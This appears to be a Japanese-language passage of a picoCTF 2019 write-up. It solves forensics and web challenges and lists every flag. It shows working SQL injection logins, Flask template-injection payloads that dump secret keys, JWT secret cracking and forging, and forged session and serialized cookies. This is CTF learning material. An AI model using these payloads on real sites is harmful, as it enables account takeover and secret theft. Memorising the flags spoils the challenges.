00000050 52 24 f0 aa aa ff a5 ab 44 45 54 78 5e ec bd 3f |R$ðªªÿ¥«DETx^ì½?| ↓ 00000050 52 24 f0 aa aa ff a5 49 44 41 54 78 5e ec bd 3f |R$ðªªÿ¥IDATx^ì½?|
修正したPNGファイルを開くと、フラグが書かれていました。
picoCTF{c0rrupt10n_1847995}
like1000 - Points: 250
This .tar file got tarred alot. Also available at /problems/like1000_0_369bbdba2af17750ddf10cc415672f1c.
1000.tar というファイルが渡されました。展開すると、999.tarが出てきました。 どうやら、1000回、tarでアーカイブ化されているようです。 すべて展開するためのスクリプトを作成しました。
#!/bin/bash for ((i = 1000; i >= 1; i--)) do tar xf $i.tar done
実行すると、flag.pngが出てきました。
$ chmod +x solve.sh $ ./solve.sh $ ls -la | grep -v tar total 5016056 drwxr-xr-x 2 root root 28672 Oct 1 16:59 . drwxr-xr-x 3 root root 4096 Oct 1 16:56 .. -rw-r--r-- 1 1000 1000 27 Aug 5 01:29 filler.txt -rwxrw-rw- 1 1000 1000 13114 Aug 5 01:57 flag.png -rwxr-xr-x 1 root root 68 Oct 1 16:58 solve.sh
flag.png を開くとフラグが書かれていました。
picoCTF{l0t5_0f_TAR5}
m00nwalk - Points: 250
Decode this message from the moon. You can also find the file in /problems/m00nwalk_3_03dab5f4d1deab675e80ee603fb02236.
アマチュア無線の画像通信で使用されるSSTV(Slow Scan TV)と呼ばれる形式の音声ファイルのようです。 ルナ3号(ソビエト連邦の無人月探査機)もSSTVを使用して画像の送信を行っていたようです。
以下のツールを使って、音声を画像にデコードしました。
RX optionを Scottie 1
にして録音すると、以下のような画像が出力されました。
※ ノイズが少なくはっきりとした音で録音できる環境でないと、画質が荒くなってしまうので注意してください。
picoCTF{beep_boop_im_in_space}
Investigative Reversing 0 - Points: 300
We have recovered a binary and an image. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-0_0_ebc669df876196bdc09a2f54fd5fffed on the shell server.
画像ファイルの末尾にフラグのような文字列が見えます。 もう一つのファイルは、ELFファイルとなっていました。 Ghidraで開くと、以下のようになっていました。
以下の手順で、画像ファイルに追記しているようです。
- flag.txtからデータを読み出す。
- 0~5バイト目は、そのまま出力する。
- 6~14バイト目は、5を足す。
- 15バイト目は、-3を足す。
- 16~25バイト目は、そのまま出力する。
画像ファイルの末尾のデータを上記の逆の手順で再計算すると、フラグとなります。
picoCTF{f0und_1t_fb69f6c2}
m00nwalk2 - Points: 300
Revisit the last transmission. We think this transmission contains a hidden message. There are also some clues clue 1, clue 2, clue 3. You can also find the files in /problems/m00nwalk2_0_c513cbf9ae6c76876372b8e29826e77b.
SSTVと呼ばれる形式の音声ファイルのようです。 今回もRX-SSTVを使ってデコードを行いました。
message.wav
をデコードすると、以下のようになりました。
前回のm00nwalkと同じ画像のようです。
次に clue1.wav
をRX-SSTVを使ってデコードすると、以下のようになりました。
この画像には、パスワード( hidden_stegosaurus
)が書かれていました。
message.wav
には、ステガノグラフィで別のデータが隠されているようです。
他にも、 clue2.wav
や clue3.wav
もデコードしてみましたが、何を意味しているのか分かりませんでした。
パスワードが hidden_stegosaurus
であると分かったので、試しにsteghideでデータの抽出を行ってみました。
すると、フラグが取得できました。
$ steghide extract -sf message.wav -p hidden_stegosaurus -xf output.txt wrote extracted data to "output.txt". $ cat output.txt picoCTF{the_answer_lies_hidden_in_plain_sight}
picoCTF{the_answer_lies_hidden_in_plain_sight}
shark on wire 2 - Points: 300
We found this packet capture. Recover the flag that was pilfered from the network. You can also find the file in /problems/shark-on-wire-2_0_3e92bfbdb2f6d0e25b8d019453fdbf07.
Wiresharkでパケットを眺めていると、22番ポートにstartとendの文字列が確認できました。
udp.port == 22
でフィルタをかけて観察してみると、各パケットで変化があるのは、送信元ポート番号とチェックサムだけだと分かりました。
送信元ポート番号を見ていると、startのあった次のパケットの送信元ポート番号が 5112
となっており、5000を引くと p
のアスキーコードである 112
になっていることに気付きました。
あとは、各パケットの送信元ポート番号を集めて、5000を引いていくとフラグとなりました。
picoCTF{p1LLf3r3d_data_v1a_st3g0}
Investigative Reversing 1 - Points: 350
We have recovered a binary and a few images: image, image2, image3. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-1_1_a3bd3a15990df2554310c7c252e66385 on the shell server.
mystery
をGhidraで開くと、以下のようになりました。
flag.txt
のデータを3つのPNGファイルの末尾に出力するような処理のようです。
適当にフラグを作成して、 mystery
を実行すると以下のような3つのファイルが生成されました。
$ echo -n "picoCTF{123456789abcdef}XXXXX" > flag.txt $ ./mystery $ hexdump -C mystery.png 00000000 43 46 7b 31 32 38 39 61 62 63 64 65 66 7d 58 58 |CF{1289abcdef}XX| 00000010 $ hexdump -C mystery2.png 00000000 85 73 |.s| 00000002 $ hexdump -C mystery3.png 00000000 69 63 54 33 34 35 36 37 |icT34567| 00000008
あとは、出力された順番を参考に、元の画像ファイルの末尾の文字列を並び替えると、以下のようになります。
picoCTF{An0tha_1_54503d8}
Investigative Reversing 2 - Points: 350
We have recovered a binary and an image See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-2_3_4ed4a3a36b09cc193abfcb0b209937bc on the shell server.
mystery
をGhidraで開くと、以下のようになりました。
上記のプログラムの逆の手順を行うように調整したスクリプトを作成しました。
with open("encoded.bmp", "rb") as f: f.seek(2000) for _ in range(50): b = "" for _ in range(8): data = f.read(1) b += str(int.from_bytes(data, 'big') & 1) c = int(b[::-1], 2) + 5 print(chr(c), end="") print()
実行すると、フラグが表示されます。
$ python solve.py picoCTF{n3xt_0n3000000000000000000000000036c2583d}
picoCTF{n3xt_0n3000000000000000000000000036c2583d}
WebNet0 - Points: 350
We found this packet capture and key. Recover the flag. You can also find the file in /problems/webnet0_0_363c0e92cf19b68e5b5c14efb37ed786.
pcapファイルと鍵が渡されました。pcapを開いてみるとTLSで暗号化されています。 WiresharkにRSA鍵を設定し、更新するとHTTPの通信が確認できました。 パケットの中身を確認すると、フラグが書かれていました。
picoCTF{nongshim.shrimp.crackers}
pastaAAA - Points: 350
This pasta is up to no good. There MUST be something behind it.
「青い空を見上げればいつもそこに白い猫」で「ステガノグラフィー解析」を選択し、「赤色 ビット1 抽出」にすると、フラグがでてきます。
※ $
、 1
、l
がややこしいので注意する。
picoCTF{pa$ta_1s_lyf3}
Investigative Reversing 3 - Points: 400
We have recovered a binary and an image See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-3_2_9b697a21646b826192c40efeb643ff61 on the shell server.
mystery
をGhidraで開くと、以下のようになりました。
上記のプログラムの逆の手順を行うように調整したスクリプトを作成しました。
with open("encoded.bmp", "rb") as f: f.seek(0x2d3) for j in range(100): if (j & 1) == 0: b = "" for k in range(8): data = f.read(1) b += str(int.from_bytes(data, 'big') & 1) c = int(b[::-1], 2) print(chr(c), end="") else: f.read(1) print()
実行すると、フラグが表示されます。
$ python solve.py picoCTF{4n0th3r_L5b_pr0bl3m_000000000000018a270ae}
picoCTF{4n0th3r_L5b_pr0bl3m_000000000000018a270ae}
Investigative Reversing 4 - Points: 400
We have recovered a binary and 5 images: image01, image02, image03, image04, image05. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-4_4_065969419be9af8229e29d22453a06d0 on the shell server.
mystery
をGhidraで開くと、以下のようになりました。
上記のプログラムの逆の手順を行うように調整したスクリプトを作成しました。
def encodeDataInFile(encoded_file): flag = "" with open(encoded_file, "rb") as f: f.seek(0x7e3) for j in range(0x32): if (j % 5) == 0: b = "" for k in range(8): data = f.read(1) b += str(int.from_bytes(data, 'big') & 1) c = int(b[::-1], 2) flag += chr(c) else: f.read(1) return flag def encodeAll(): for i in range(5, 0, -1): file_name = "Item0" + str(i) + "_cp.bmp" flag = encodeDataInFile(file_name) print(flag, end="") print() def main(): encodeAll() if __name__ == "__main__": main()
実行すると、フラグが表示されます。
$ python solve.py picoCTF{N1c3_R3ver51ng_5k1115_000000000008d246eaf}
picoCTF{N1c3_R3ver51ng_5k1115_000000000008d246eaf}
B1g_Mac - Points: 500
Here's a zip file. You can also find the file in /problems/b1g-mac_0_ac4b0dbedcd3b0f0097a5f056e04f97a.
main.exe
をGhidraで開くと、以下のようになりました。
ファイルの時刻情報(LastWriteTime)の下位16bitにフラグを隠していることが分かりました。 コマンドライン引数に指定したファイルの時刻情報から文字を抽出するプログラムを作成しました。
#include <windows.h> #include <stdio.h> int main(int argc, char *argv[]) { HANDLE hFile; char *lpFileName = argv[1]; // "./test/Item01 - Copy.bmp"; FILETIME creationTime; FILETIME lastAccessTime; FILETIME lastWriteTime; char ch[2]; hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("CreateFile failed\n"); return -1; } if (!GetFileTime(hFile, &creationTime, &lastAccessTime, &lastWriteTime)) { printf("GetFileTime failed\n"); CloseHandle(hFile); return -1; } CloseHandle(hFile); ch[0] = (lastWriteTime.dwLowDateTime & 0xff00) >> 8; ch[1] = lastWriteTime.dwLowDateTime & 0xff; printf("%c%c", ch[0], ch[1]); return 0; }
test*Copy.bmp の時刻にフラグが埋め込まれていました。
以下のコマンドを実行すると、フラグが出力されます。
※ 注意点として、Windowsデフォルトの機能でzipを展開すると、なぜかタイムスタンプが変わってしまうようです。7-Zipで展開する必要がありました。
PS> gcc .\solve.c -o .\solve PS> Get-ChildItem .\test\*Copy.bmp -Name | ForEach-Object {.\solve.exe test\$_} picoCTF{M4cTim35!}
picoCTF{M4cTim35!}
Web Exploitation
Insp3ct0r - Points: 50
Kishor Balan tipped us off that the following code may need inspection: https://2019shell1.picoctf.com/problem/61676/ (link) or http://2019shell1.picoctf.com:61676
問題文のリンクを開いて、html、css、jsのコメントを確認すると、フラグが書いてありました。
<!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 --> /* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */ /* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */
picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}
dont-use-client-side - Points: 100
Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/47289/ (link) or http://2019shell1.picoctf.com:47289
https://2019shell1.picoctf.com/problem/47289/ にアクセスし、javascriptを確認すると、4文字ずつフラグを分割してチェックしている関数がありました。 それぞれを並び替えると、フラグになりました。
function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split * 6, split * 7) == 'e22d') { if (checkpass.substring(split, split * 2) == 'CTF{') { if (checkpass.substring(split * 4, split * 5) == 'ts_p') { if (checkpass.substring(split * 3, split * 4) == 'lien') { if (checkpass.substring(split * 5, split * 6) == 'lz_c') { if (checkpass.substring(split * 2, split * 3) == 'no_c') { if (checkpass.substring(split * 7, split * 8) == 'c}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }
picoCTF{no_clients_plz_ce22dc}
logon - Points: 100
The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? https://2019shell1.picoctf.com/problem/49907/ (link) or http://2019shell1.picoctf.com:49907
EditThisCookieというChrome拡張を使って、Cookieを見てみました。
adminという項目があり、Falseになっていました。これをTrueに変換するとフラグが表示されました。
picoCTF{th3_c0nsp1r4cy_l1v3s_9e21365b}
where are the robots - Points: 100
Can you find the robots? https://2019shell1.picoctf.com/problem/47235/ (link) or http://2019shell1.picoctf.com:47235
https://2019shell1.picoctf.com/problem/47235/robots.txt にアクセスすると、以下のように書かれていました。
User-agent: * Disallow: /54e98.html
https://2019shell1.picoctf.com/problem/47235/54e98.html にアクセスすると、フラグが表示されました。
Guess you found the robots picoCTF{ca1cu1at1ng_Mach1n3s_54e98}
picoCTF{ca1cu1at1ng_Mach1n3s_54e98}
Client-side-again - Points: 200
Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/21886/ (link) or http://2019shell1.picoctf.com:21886
F12を押してスクリプトタグの中身を確認すると、dont-use-client-sideに似たスクリプトが出てきました。 同様にフラグを分割してチェックしている関数があるようです。
var _0x5a46 = ['9f266}', '_again_1', 'this', 'Password\x20Verified', 'Incorrect\x20password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this']; (function (_0x4bd822, _0x2bd6f7) { var _0xb4bdb3 = function (_0x1d68f6) { while (--_0x1d68f6) { _0x4bd822['push'](_0x4bd822['shift']()); } }; _0xb4bdb3(++_0x2bd6f7); }(_0x5a46, 0x1b3)); var _0x4b5b = function (_0x2d8f05, _0x4b81bb) { _0x2d8f05 = _0x2d8f05 - 0x0; var _0x4d74cb = _0x5a46[_0x2d8f05]; return _0x4d74cb; }; function verify() { checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')]; split = 0x4; if (checkpass[_0x4b5b('0x2')](0x0, split * 0x2) == _0x4b5b('0x3')) { if (checkpass[_0x4b5b('0x2')](0x7, 0x9) == '{n') { if (checkpass[_0x4b5b('0x2')](split * 0x2, split * 0x2 * 0x2) == _0x4b5b('0x4')) { if (checkpass[_0x4b5b('0x2')](0x3, 0x6) == 'oCT') { if (checkpass[_0x4b5b('0x2')](split * 0x3 * 0x2, split * 0x4 * 0x2) == _0x4b5b('0x5')) { if (checkpass['substring'](0x6, 0xb) == 'F{not') { if (checkpass[_0x4b5b('0x2')](split * 0x2 * 0x2, split * 0x3 * 0x2) == _0x4b5b('0x6')) { if (checkpass[_0x4b5b('0x2')](0xc, 0x10) == _0x4b5b('0x7')) { alert(_0x4b5b('0x8')); } } } } } } } } else { alert(_0x4b5b('0x9')); } }
このままだと読みづらいので、以下のようなスクリプトを用意しました。
split = 0x4 console.log('%d, %d:\t%s', 0x0, split * 0x2, _0x4b5b('0x3')) console.log('%d, %d:\t%s', 0x7, 0x9, '{n') console.log('%d, %d:\t%s', split * 0x2, split * 0x2 * 0x2, _0x4b5b('0x4')) console.log('%d, %d:\t%s', 0x3, 0x6, 'oCT') console.log('%d, %d:\t%s', split * 0x3 * 0x2, split * 0x4 * 0x2, _0x4b5b('0x5')) console.log('%d, %d:\t%s', 0x6, 0xb, 'F{not') console.log('%d, %d:\t%s', split * 0x2 * 0x2, split * 0x3 * 0x2, _0x4b5b('0x6')) console.log('%d, %d:\t%s', 0xc, 0x10, _0x4b5b('0x7'))
Chrome Developer ToolsのConsoleに上記のスクリプトを入力すると、分割されたフラグの断片を確認することができます。
あとは、出力結果を基に並び替えるだけです。
picoCTF{not_this_again_19f266}
Open-to-admins - Points: 200
This secure website allows users to access the flag only if they are admin and if the time is exactly 1400. https://2019shell1.picoctf.com/problem/12276/ (link) or http://2019shell1.picoctf.com:12276
Cookieに以下の2つを追加して「Flag」ボタンを押すと、フラグが確認できます。
- admin、True
- time、1400
Cookieの追加は、Chrome拡張機能のEditThisCookieを使いました。
picoCTF{0p3n_t0_adm1n5_dcb566bb}
picobrowser - Points: 200
This website can be rendered only by picobrowser, go and catch the flag! https://2019shell1.picoctf.com/problem/45071/ (link) or http://2019shell1.picoctf.com:45071
Chrome拡張機能のUser-Agent Switcher for Chrome で UserAgentを picobrowser に変更すると、フラグが表示されました。
picoCTF{p1c0_s3cr3t_ag3nt_b3785d03}
Irish-Name-Repo 1 - Points: 300
There is a website running at https://2019shell1.picoctf.com/problem/21877/ (link) or http://2019shell1.picoctf.com:21877. Do you think you can log us in? Try to see if you can login!
Admin Login ページがあります。ユーザ名に ' or 'A' = 'A' --
と入力して、「Login」ボタンを押すとフラグが出力されました。
picoCTF{s0m3_SQL_6b96db35}
Irish-Name-Repo 2 - Points: 350
There is a website running at https://2019shell1.picoctf.com/problem/41025/ (link). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:41025
Admin Login ページがあります。ユーザ名に admin' --
と入力して、「Login」ボタンを押すとフラグが出力されました。
picoCTF{m0R3_SQL_plz_83dad972}
Empire1 - Points: 400
Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. https://2019shell1.picoctf.com/problem/4155/ Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155
適当にユーザを作成してログインしてみると、色々なユーザのリストが確認できました。
ユーザ名と同じパスワードで、別のユーザにログインしてみると、フラグが書かれていました。
※ 出題者が想定していた解き方ではない気がします。
picoCTF{wh00t_it_a_sql_injectd75ebff4}
Irish-Name-Repo 3 - Points: 400
There is a secure website running at https://2019shell1.picoctf.com/problem/12271/ (link) or http://2019shell1.picoctf.com:12271. Try to see if you can login as admin!
Admin Login ページがあります。F12を押してhtmlファイルを見てみると、以下のようなデバッグ用のタグが埋め込まれていました。
<input type="hidden" name="debug" value="0">
valueを1に変更して、パスワードに「abcdefghijklmnopqrstuvwxyz」と入力すると、以下のように出力されました。
password: abcdefghijklmnopqrstuvwxyz SQL query: SELECT * FROM admin where password = 'nopqrstuvwxyzabcdefghijklm' Login failed.
入力した値にROT13で文字をずらしているようです。 ' or 'a' = '
となるように、 ' be 'n' = 'n
と入力するとフラグが出力されました。
picoCTF{3v3n_m0r3_SQL_ef7eac2f}
JaWT Scratchpad - Points: 400
Check the admin scratchpad! https://2019shell1.picoctf.com/problem/49900/ or http://2019shell1.picoctf.com:49900
問題文のサイトに接続すると、ログインを求められます。
適当に「a」というユーザでログインしてみました。
Cookieを確認すると、jwt
という項目に eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYSJ9.Wpx3_bxlH3-Q8LDfbdaCP3ML7bAdosK4mAHRXhDmhug
と設定されていました。
また、Webサイトの一番下にJohnTheRipperへのリンクが貼られていました。
以下のリンクを参考にJohnTheRipperを使って、JWTのsecretキーを求めました。
まずは、JohnTheRipperが扱える形式に変換します。
$ wget https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py $ python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYSJ9.Wpx3_bxlH3-Q8LDfbdaCP3ML7bAdosK4mAHRXhDmhug > converted-jwt.txt
rockyou.txtを辞書にして辞書攻撃を行うと、1単語ヒットしました。
PS> john --wordlist=rockyou.txt .\converted-jwt.txt Using default input encoding: UTF-8 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x]) Will run 16 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ilovepico (?) 1g 0:00:00:00 DONE (2019-10-07 09:22) 1.251g/s 9268Kp/s 9268Kc/s 9268KC/s iluve$..ilovejesus71 Use the "--show" option to display all of the cracked passwords reliably Session completed
userを admin
に変更し、secretに ilovepico
を指定してエンコードします。
以下のサイトを使ってエンコードしました。
HEADER: { "typ": "JWT", "alg": "HS256" } PAYLOAD: { "user": "admin" } VERIFY SIGNATURE: HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), ilovepico )
エンコードすると以下のようになります。これをCookieに指定して再表示するとフラグが表示されます。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s
picoCTF{jawt_was_just_what_you_thought_1ea6044f378ef6e9d40d57a40f8b70f1}
Java Script Kiddie - Points: 400
The image link appears broken... https://2019shell1.picoctf.com/problem/57738 or http://2019shell1.picoctf.com:57738
JavaScriptのコードを見ると、16文字のキーを使って16文字ずつ変換している処理が確認できます。 出力されるのは、PNGの画像なのでPNGのヘッダと同じ値にデコードできるようにキーを指定すれば、フラグが取得できそうです。
ChromeのDevToolsでデバッグしながら、うまく変換されるキーを探し出しました。
0438892208991464
上記のキーを指定すると、QRコードが表示されます。読み取るとフラグが出力されました。
picoCTF{905765bf9ae368ad98261c10914d894e}
Empire2 - Points: 450
Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: https://2019shell1.picoctf.com/problem/10833/ (link), can you help us find it? or http://2019shell1.picoctf.com:10833
以下のように入力すると、Flaskの設定情報が出てきました。
{{ config.items() }}
dict_items([ ('ENV', 'production'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', 'picoCTF{your_flag_is_in_another_castle12345678}'), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', False), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('SQLALCHEMY_DATABASE_URI', 'sqlite://'), ('SQLALCHEMY_TRACK_MODIFICATIONS', False), ('SQLALCHEMY_BINDS', None), ('SQLALCHEMY_NATIVE_UNICODE', None), ('SQLALCHEMY_ECHO', False), ('SQLALCHEMY_RECORD_QUERIES', None), ('SQLALCHEMY_POOL_SIZE', None), ('SQLALCHEMY_POOL_TIMEOUT', None), ('SQLALCHEMY_POOL_RECYCLE', None), ('SQLALCHEMY_MAX_OVERFLOW', None), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False), ('SQLALCHEMY_ENGINE_OPTIONS', {}), ('BOOTSTRAP_USE_MINIFIED', True), ('BOOTSTRAP_CDN_FORCE_SSL', False), ('BOOTSTRAP_QUERYSTRING_REVVING', True), ('BOOTSTRAP_SERVE_LOCAL', False), ('BOOTSTRAP_LOCAL_SUBDOMAIN', None) ])
SECRET_KEYが判明したので、sessionのデコードが可能です。 以下のリンクの記事を参考にデコードしました。
#!/usr/bin/env python3 import zlib from flask.sessions import SecureCookieSessionInterface from itsdangerous import base64_decode, URLSafeTimedSerializer <200b> class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): # NOTE: Override method def get_signing_serializer(self, secret_key): signer_kwargs = { 'key_derivation': self.key_derivation, 'digest_method': self.digest_method } return URLSafeTimedSerializer( secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs ) <200b> class FlaskSessionCookieManager: @classmethod def decode(cls, secret_key, cookie): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.loads(cookie) <200b> @classmethod def encode(cls, secret_key, session): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(session) <200b> <200b> if __name__ == '__main__': secret_key = 'picoCTF{your_flag_is_in_another_castle12345678}' cookie = '.eJwlz01OwzAQQOG7eN3F2GOP7W6ROAF7y54fiAqkcpIFqnp3gjjAJ733cM2mbh_uus9DL64t4q6OjSpSZUrFEzLEPtDUIufgSzT1ElNBygNj9WQ8olUIlqqXhBBjUmBQHFJGLmJAIgMiI2kcHSQkgY6WFIEQTZgTDA51ZALiKuQujrdpbV9v-v3Xw4YhpBBhmFcB7EIhEGfOXXJF1FISSD6d9Hlrm_LU_YT3hdeXt9fHsm-tty9tP-sxm332d0NJ1Et_nubYdP6Po3v-Ao5GUc8.XZ6M9w.qam0y2OrwZKekMzQmvpFQ0b1OyY' print(FlaskSessionCookieManager.decode(secret_key, cookie))
実行して、デコードするとフラグが確認できました。
$ python solve.py {'_id': 'cf69369c658163c04ab3fef4c72184fe1d458367b34916fcb4f902f591d530445e0c0e3bd8b78df06ddb04c36e4ba0d25d0a3f5e30633fdcc50bc29b7606c9d6', 'dark_secret': 'picoCTF{its_a_me_your_flagf3d56a8a}', '_fresh': True, 'user_id': '3', 'csrf_token': 'ccf3225240bf1ed03ad6226c7c7ad7933e8850d7'}
picoCTF{its_a_me_your_flagf3d56a8a}
Java Script Kiddie 2 - Points: 450
The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/4157 or http://2019shell1.picoctf.com:4157
JavaScriptのコードを見ると、32文字のキーを指定できるようになっていました。 ただし、よく見ると偶数番目のキー(16文字)しか使用されていません。 ここまで分かれば、前回と同様なので、PNGのヘッダと同じ値にデコードできるようにキーを指定すれば、フラグが取得できそうです。
ChromeのDevToolsでデバッグしながら、うまく変換されるキーを探し出しました。
50503000306020104050306020203030
QRコードを読み取ると、フラグが出てきました。
picoCTF{f00efa6fa68b2b71aa40c7121bb3d41b}
cereal hacker 1 - Points: 450
Login as admin. https://2019shell1.picoctf.com/problem/21885/ or http://2019shell1.picoctf.com:21885
ユーザ名、パスワード共に guest
を指定してログインすると、以下のページに誘導されました。
https://2019shell1.picoctf.com/problem/21885/index.php?file=regular_user
Cookieを確認すると、user_info
に以下の文字列が格納されていました。
TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiZ3Vlc3QiO3M6ODoicGFzc3dvcmQiO3M6NToiZ3Vlc3QiO30%253D
Base64 デコード すると以下のようになります。PHPのserialize結果がBase64でエンコードされていたようです。
O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}
ユーザ名に admin
パスワードに ' or 'A'='A
と指定して、SQLインジェクションを試してみました。
O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or 'A'='A";} ↓ Base64 エンコード TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTE6Iicgb3IgJ0EnPSdBIjt9
Base64エンコード結果をCookieのuser_info
に格納して、以下にアクセスするとフラグが表示されました。
https://2019shell1.picoctf.com/problem/21885/index.php?file=login
Welcome to the admin page! Flag: picoCTF{bf6e88e74b87d24e35b1f71b78d49e28}
picoCTF{bf6e88e74b87d24e35b1f71b78d49e28}
Empire3 - Points: 500
Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? https://2019shell1.picoctf.com/problem/49865/ (link) or http://2019shell1.picoctf.com:49865
以下のように入力すると、Flaskの設定情報が出てきました。
{{hoge.__init__.__globals__.sys.modules.app.app.__dict__}}
Very Urgent: {'import_name': 'app', 'template_folder': 'templates', 'root_path': '/problems/empire3_1_96368a0219a56d357ed9974de8b8f7d5/app', '_static_folder': 'static', '_static_url_path': None, 'cli': <flask.cli.AppGroup object at 0x7f99cecbf278>, 'instance_path': './instance', 'config': <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'ce6a474e832ece298c50448e1feb069d', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite://', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None}>, 'view_functions': {'static': <bound method _PackageBoundObject.send_static_file of <Flask 'app'>>, 'bootstrap.static': <bound method _PackageBoundObject.send_static_file of <flask.blueprints.Blueprint object at 0x7f99cb5210b8>>, 'index': <function index at 0x7f99cb4d4c80>, 'login': <function login at 0x7f99cb4d4bf8>, 'register': <function register at 0x7f99cb4d4d08>, 'add_item': <function add_item at 0x7f99cb4d4e18>, 'list_items': <function list_items at 0x7f99cb5022f0>, 'employee': <function employee at 0x7f99cb502510>, 'logout': <function logout at 0x7f99cb502730>}, 'error_handler_spec': {None: {404: {<class 'werkzeug.exceptions.NotFound'>: 